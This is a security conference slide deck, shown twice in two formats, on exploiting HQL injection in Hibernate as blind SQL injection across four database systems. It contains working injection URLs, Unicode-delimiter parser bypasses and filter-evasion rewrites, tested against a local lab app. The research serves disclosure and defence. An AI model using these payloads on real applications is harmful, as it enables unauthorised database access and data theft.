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ORM2Pwn: Exploiting injections
in Hibernate ORM
Mikhail Egorov
Sergey Soldatov
Short BIO - Mikhail Egorov
▶ Application Security Engineer at Odin [ http://www.odin.com ]
▶ Security researcher and bug hunter
▶ Graduated from BMSTU with MSc. in Information Security [IU8]
▶ Holds OSCP and CISSP certificates
▶ See my blog [ http://0ang3el.blogspot.com ]
Short BIO - Sergey Soldatov
▶ Chief infosecurity manager at big corp.’s IT insourcer
• GRC  and “paper security”
• Security engineer and systems architect
• Security operations manager and analyst
▶ Amateur hacker security researcher & musician
▶ BMSTU’s IU8
▶ CISA, CISSP
▶ http://reply-to-all.blogspot.ru/
Motivation
▶ Modern applications work with DBMS not directly but
via ORM
▶ In Java, Hibernate is a popular ORM [ Red Hat project ]
▶ Hibernate uses HQL, which is very limited [ versus SQL ]
▶ HQLi exploitation is limited 
Motivation
▶ Is it possible to exploit HQLi as SQLi for popular DBMSs?
▶ MySQL, Postgresql, Oracle, MS SQL Server are popular [ in our opinion  ]
Picture from http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
Chuck Norris can exploit SQLi even
on static HTML pages
MySQL DBMS
▶ Hibernate escapes [‘] in string with [‘’]
▶ MySQL escapes [‘] in string with [’]
▶ Kudos to @_unread_ who disclosed this technique
before our talk 
• http://www.synacktiv.fr/ressources/hql2sql_sstic_2015_en.pdf
MySQL DBMS
 What about string ‘abc’’or 1=(select 1)--’?
 Hibernate – ‘abc’’or 1=(select 1)--’ [thinks it’s a string]
 MySQL – ‘abc’’or 1=(select 1)--’
MySQL DBMS
 Navigate to URL
http://127.0.0.1:8080/app/dummy%27%27%20or%201<length((select%20vers
ion()))%20--%20
 HQL query -
SELECT p FROM pl.btbw.persistent.Post p where p.name=‘dummy’’ or
1<length((select version())) -- ’
 SQL query
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_
where post0_.name=‘dummy’’ or 1<length((select version())) -- ’
Postgresql DBMS
 Trick with ’’ not working
• Quote escaping with ‘’ only [not with ’]
 HQL allows subqueries in where clause
 Hibernate allow arbitrary function names in HQL
 Postgresql has nice built-in query_to_xml(‘SQL’)
Postgresql DBMS
 query_to_xml(‘SQL’) return XML [not usable directly ]
 Nevertheless it is possible to know if the SQL return 0
rows or > 0
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true,
false,'')),1)
array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true,
false,'')),1)
Postgresql DBMS
SQL returns 1 row [ or more ]
SQL returns no rows
Postgresql DBMS
 Navigate to URL
http://127.0.0.1:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cqu
ery_to_xml%28%27select%201%20where%201337%3E1%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%2
0and%20%271%27%3D%271
 HQL query
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
array_upper(xpath('row',query_to_xml('select 1 where 1337>1',true,false,'')),1)=1 and
'1'='1‘
 SQL query
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where
post0_.name='dummy' and array_upper(xpath('row', query_to_xml('select 1 where 1337>1',
true, false, '')), 1)=1 and '1'='1'
Oracle DBMS
 Trick with ’’ not working
• Quote escaping with ‘’ [ not with ’ ]
 Hibernate allow arbitrary function names in HQL
 Oracle has nice built-in DBMS_XMLGEN.getxml(‘SQL’)
Oracle DBMS
 DBMS_XMLGEN.getxml(‘SQL’) returns CLOB or null
[ null if SQL returns no rows ]
 It is possible to know if the SQL return 0 rows or > 0
using TO_CHAR and NVL built-ins
NVL(TO_CHAR(DBMS_XMLGEN.getxml(‘SQL')),'1')!='1'
Oracle DBMS
 Navigate to URL
http://127.0.0.1:8080/app/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27SELECT%201337%
20FROM%20dual%20where%201337>1%27)),%271%27)!=%271%27%20and%20%271%27=%271
 HQL query
SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy' and
NVL(TO_CHAR(DBMS_XMLGEN.getxml('SELECT 1337 FROM dual where 1337>1')),'1')!='1'
and '1'='1‘
 SQL query
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where
post0_.name='dummy' and NVL(to_char(DBMS_XMLGEN.getxml('SELECT 1337 FROM dual
where 1337>1')), '1')<>'1' and '1'='1'
Microsoft SQL Server DBMS
 Trick with ’’ not working
• Quote escaping with ‘’ only [not with ’]
 There are no usable functions like query_to_xml(‘SQL’)
Microsoft SQL Server DBMS
 Hibernate ORM allows Unicode symbols in identifiers!!!
ANTLR grammar for HQL parsing is here
https://github.com/hibernate/hibernate-orm/blob/1ed895a3737c211e8c895b0297f801daccfe85a9/hibernate-core/src/main/antlr/hql.g
ANTLR (ANother Tool for Language Recognition) - http://www.antlr.org/
Microsoft SQL Server DBMS
 Hibernate ORM allows Unicode symbols in identifiers!!!
IDENT options { testLiterals=true; }
: ID_START_LETTER ( ID_LETTER )*
{
// Setting this flag allows the grammar to use keywords as identifiers, if necessary.
setPossibleID(true);
}
;
protected
ID_START_LETTER
: '_'
| '$'
| 'a'..'z'
| 'u0080'..'ufffe' // HHH-558 : Allow unicode chars in identifiers
;
protected
ID_LETTER
: ID_START_LETTER
| '0'..'9'
;
Microsoft SQL Server DBMS
 MS SQL Server allows Unicode delimiters in query!!!
There are many delimiters like space [U+0020]
LEN(U(selectU(1)) [ U – Unicode delimiter ]
 We’ve found them all with dumb Fuzzing!!!
Microsoft SQL Server DBMS
 Here are the magic delimiters [U]
U+00A0 %C2%A0 No-break space
U+1680 %E1%9A%80 OGHAM SPACE MARK
U+2000 %E2%80%80 EN QUAD
U+2001 %E2%80%81 EM QUAD
U+2002 %E2%80%82 EN SPACE
U+2003 %E2%80%83 EM SPACE
U+2004 %E2%80%84 THREE-PER-EM SPACE
U+2005 %E2%80%85 FOUR-PER-EM SPACE
U+2006 %E2%80%86 SIX-PER-EM SPACE
U+2007 %E2%80%87 FIGURE SPACE
U+2008 %E2%80%88 PUNCTUATION SPACE
U+2009 %E2%80%89 Thin space
Microsoft SQL Server DBMS
 Here are the magic delimiters [U]
U+200A %E2%80%8A HAIR SPACE
U+200B %E2%80%8B ZERO WIDTH SPACE
U+2028 %E2%80%A8 LINE SEPARATOR
U+2029 %E2%80%A9 PARAGRAPH SEPARATOR
U+202F %E2%80%AF NARROW NO-BREAK SPACE
U+205F %E2%81%9F Medium Mathematical space
U+3000 %E3%80%80 Ideographic space
Microsoft SQL Server DBMS
 Navigate to URL
http://127.0.0.1:8080/app/dummy%27%20or%201%3CLEN%28%C2%A0%28select%C2%A0top%C2%A01%C2%A0una
me%C2%A0from%C2%A0postusers%29%29%20or%20%2731%27=%27143999
 HQL query
SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy' or 1<LEN([U+00A0](
select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '31'='143999'
Hibernate sees here two function calls: Len and [U+00A0]
Identifier select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers is passed as function argument
 Resulting SQL query
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' or
1<len([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '31'='143999'
Microsoft SQL Server DBMS
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where
post0_.name='dummy' or
1<len([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers))
or '31'='143999‘
Is the same as
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where
post0_.name='dummy' or 1<len(select top 1 uname from postusers)) or '31'='143999'
Microsoft SQL Server DBMS: additional useful tricks
Query fragment How to rewrite to full HQL Result
where id=13 where id like 13 No “=“
where field=‘data’ where field like cast(0xDATA_IN_HEX as varchar) No “=“; No “ ’ “
where field not in (‘data1’,
‘data2’)
where 0 like charindex(concat(‘+’,field,’+’),
cast(0xDATA1DATA2_IN_HEX as varchar(MAX)))
No list
0xDATA_IN_HEX
smth_known_to_hibernate(..)
U0xDATA_IN_HEX
Usmth_known_to_hibernate(..)
int || func 
identifier
substring((select…),N,1)=‘c’ N like charindex(‘c’, (select…), N)
substring 
charindex
Hey, dude stop it! Show me the hack!
Video - https://www.youtube.com/watch?v=m_MTWZptXUw
All demo scripts are here - https://github.com/0ang3el/Hibernate-Injection-Study
Vulnerable App - https://github.com/0ang3el/HQLi-playground
Takeaways
▶ HQL injection is SQL injection [ exploit HQLi as bSQLi ]
▶ Hibernate is not a WAF
▶ Our exploitation technique works because:
▶ Hibernate allows arbitrary names for identifiers (function and
argument names)
▶ Hibernate allows Unicode symbols in identifiers
▶ Hibernate escapes quotes [‘] in string by doubling them [‘’]
Questions?

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ORM2Pwn: Exploiting injections in Hibernate ORM

  • 1. ORM2Pwn: Exploiting injections in Hibernate ORM Mikhail Egorov Sergey Soldatov
  • 2. Short BIO - Mikhail Egorov ▶ Application Security Engineer at Odin [ http://www.odin.com ] ▶ Security researcher and bug hunter ▶ Graduated from BMSTU with MSc. in Information Security [IU8] ▶ Holds OSCP and CISSP certificates ▶ See my blog [ http://0ang3el.blogspot.com ]
  • 3. Short BIO - Sergey Soldatov ▶ Chief infosecurity manager at big corp.’s IT insourcer • GRC  and “paper security” • Security engineer and systems architect • Security operations manager and analyst ▶ Amateur hacker security researcher & musician ▶ BMSTU’s IU8 ▶ CISA, CISSP ▶ http://reply-to-all.blogspot.ru/
  • 4. Motivation ▶ Modern applications work with DBMS not directly but via ORM ▶ In Java, Hibernate is a popular ORM [ Red Hat project ] ▶ Hibernate uses HQL, which is very limited [ versus SQL ] ▶ HQLi exploitation is limited 
  • 5. Motivation ▶ Is it possible to exploit HQLi as SQLi for popular DBMSs? ▶ MySQL, Postgresql, Oracle, MS SQL Server are popular [ in our opinion  ] Picture from http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
  • 6. Chuck Norris can exploit SQLi even on static HTML pages
  • 7. MySQL DBMS ▶ Hibernate escapes [‘] in string with [‘’] ▶ MySQL escapes [‘] in string with [’] ▶ Kudos to @_unread_ who disclosed this technique before our talk  • http://www.synacktiv.fr/ressources/hql2sql_sstic_2015_en.pdf
  • 8. MySQL DBMS  What about string ‘abc’’or 1=(select 1)--’?  Hibernate – ‘abc’’or 1=(select 1)--’ [thinks it’s a string]  MySQL – ‘abc’’or 1=(select 1)--’
  • 9. MySQL DBMS  Navigate to URL http://127.0.0.1:8080/app/dummy%27%27%20or%201<length((select%20vers ion()))%20--%20  HQL query - SELECT p FROM pl.btbw.persistent.Post p where p.name=‘dummy’’ or 1<length((select version())) -- ’  SQL query select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name=‘dummy’’ or 1<length((select version())) -- ’
  • 10. Postgresql DBMS  Trick with ’’ not working • Quote escaping with ‘’ only [not with ’]  HQL allows subqueries in where clause  Hibernate allow arbitrary function names in HQL  Postgresql has nice built-in query_to_xml(‘SQL’)
  • 11. Postgresql DBMS  query_to_xml(‘SQL’) return XML [not usable directly ]  Nevertheless it is possible to know if the SQL return 0 rows or > 0 array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1) array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,'')),1)
  • 12. Postgresql DBMS SQL returns 1 row [ or more ] SQL returns no rows
  • 13. Postgresql DBMS  Navigate to URL http://127.0.0.1:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cqu ery_to_xml%28%27select%201%20where%201337%3E1%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%2 0and%20%271%27%3D%271  HQL query SELECT p FROM hqli.persistent.Post p where p.name='dummy' and array_upper(xpath('row',query_to_xml('select 1 where 1337>1',true,false,'')),1)=1 and '1'='1‘  SQL query select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' and array_upper(xpath('row', query_to_xml('select 1 where 1337>1', true, false, '')), 1)=1 and '1'='1'
  • 14. Oracle DBMS  Trick with ’’ not working • Quote escaping with ‘’ [ not with ’ ]  Hibernate allow arbitrary function names in HQL  Oracle has nice built-in DBMS_XMLGEN.getxml(‘SQL’)
  • 15. Oracle DBMS  DBMS_XMLGEN.getxml(‘SQL’) returns CLOB or null [ null if SQL returns no rows ]  It is possible to know if the SQL return 0 rows or > 0 using TO_CHAR and NVL built-ins NVL(TO_CHAR(DBMS_XMLGEN.getxml(‘SQL')),'1')!='1'
  • 16. Oracle DBMS  Navigate to URL http://127.0.0.1:8080/app/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27SELECT%201337% 20FROM%20dual%20where%201337>1%27)),%271%27)!=%271%27%20and%20%271%27=%271  HQL query SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy' and NVL(TO_CHAR(DBMS_XMLGEN.getxml('SELECT 1337 FROM dual where 1337>1')),'1')!='1' and '1'='1‘  SQL query select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' and NVL(to_char(DBMS_XMLGEN.getxml('SELECT 1337 FROM dual where 1337>1')), '1')<>'1' and '1'='1'
  • 17. Microsoft SQL Server DBMS  Trick with ’’ not working • Quote escaping with ‘’ only [not with ’]  There are no usable functions like query_to_xml(‘SQL’)
  • 18. Microsoft SQL Server DBMS  Hibernate ORM allows Unicode symbols in identifiers!!! ANTLR grammar for HQL parsing is here https://github.com/hibernate/hibernate-orm/blob/1ed895a3737c211e8c895b0297f801daccfe85a9/hibernate-core/src/main/antlr/hql.g ANTLR (ANother Tool for Language Recognition) - http://www.antlr.org/
  • 19. Microsoft SQL Server DBMS  Hibernate ORM allows Unicode symbols in identifiers!!! IDENT options { testLiterals=true; } : ID_START_LETTER ( ID_LETTER )* { // Setting this flag allows the grammar to use keywords as identifiers, if necessary. setPossibleID(true); } ; protected ID_START_LETTER : '_' | '$' | 'a'..'z' | 'u0080'..'ufffe' // HHH-558 : Allow unicode chars in identifiers ; protected ID_LETTER : ID_START_LETTER | '0'..'9' ;
  • 20. Microsoft SQL Server DBMS  MS SQL Server allows Unicode delimiters in query!!! There are many delimiters like space [U+0020] LEN(U(selectU(1)) [ U – Unicode delimiter ]  We’ve found them all with dumb Fuzzing!!!
  • 21. Microsoft SQL Server DBMS  Here are the magic delimiters [U] U+00A0 %C2%A0 No-break space U+1680 %E1%9A%80 OGHAM SPACE MARK U+2000 %E2%80%80 EN QUAD U+2001 %E2%80%81 EM QUAD U+2002 %E2%80%82 EN SPACE U+2003 %E2%80%83 EM SPACE U+2004 %E2%80%84 THREE-PER-EM SPACE U+2005 %E2%80%85 FOUR-PER-EM SPACE U+2006 %E2%80%86 SIX-PER-EM SPACE U+2007 %E2%80%87 FIGURE SPACE U+2008 %E2%80%88 PUNCTUATION SPACE U+2009 %E2%80%89 Thin space
  • 22. Microsoft SQL Server DBMS  Here are the magic delimiters [U] U+200A %E2%80%8A HAIR SPACE U+200B %E2%80%8B ZERO WIDTH SPACE U+2028 %E2%80%A8 LINE SEPARATOR U+2029 %E2%80%A9 PARAGRAPH SEPARATOR U+202F %E2%80%AF NARROW NO-BREAK SPACE U+205F %E2%81%9F Medium Mathematical space U+3000 %E3%80%80 Ideographic space
  • 23. Microsoft SQL Server DBMS  Navigate to URL http://127.0.0.1:8080/app/dummy%27%20or%201%3CLEN%28%C2%A0%28select%C2%A0top%C2%A01%C2%A0una me%C2%A0from%C2%A0postusers%29%29%20or%20%2731%27=%27143999  HQL query SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy' or 1<LEN([U+00A0]( select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '31'='143999' Hibernate sees here two function calls: Len and [U+00A0] Identifier select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers is passed as function argument  Resulting SQL query select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' or 1<len([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '31'='143999'
  • 24. Microsoft SQL Server DBMS select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' or 1<len([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '31'='143999‘ Is the same as select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' or 1<len(select top 1 uname from postusers)) or '31'='143999'
  • 25. Microsoft SQL Server DBMS: additional useful tricks Query fragment How to rewrite to full HQL Result where id=13 where id like 13 No “=“ where field=‘data’ where field like cast(0xDATA_IN_HEX as varchar) No “=“; No “ ’ “ where field not in (‘data1’, ‘data2’) where 0 like charindex(concat(‘+’,field,’+’), cast(0xDATA1DATA2_IN_HEX as varchar(MAX))) No list 0xDATA_IN_HEX smth_known_to_hibernate(..) U0xDATA_IN_HEX Usmth_known_to_hibernate(..) int || func  identifier substring((select…),N,1)=‘c’ N like charindex(‘c’, (select…), N) substring  charindex
  • 26. Hey, dude stop it! Show me the hack! Video - https://www.youtube.com/watch?v=m_MTWZptXUw All demo scripts are here - https://github.com/0ang3el/Hibernate-Injection-Study Vulnerable App - https://github.com/0ang3el/HQLi-playground
  • 27. Takeaways ▶ HQL injection is SQL injection [ exploit HQLi as bSQLi ] ▶ Hibernate is not a WAF ▶ Our exploitation technique works because: ▶ Hibernate allows arbitrary names for identifiers (function and argument names) ▶ Hibernate allows Unicode symbols in identifiers ▶ Hibernate escapes quotes [‘] in string by doubling them [‘’]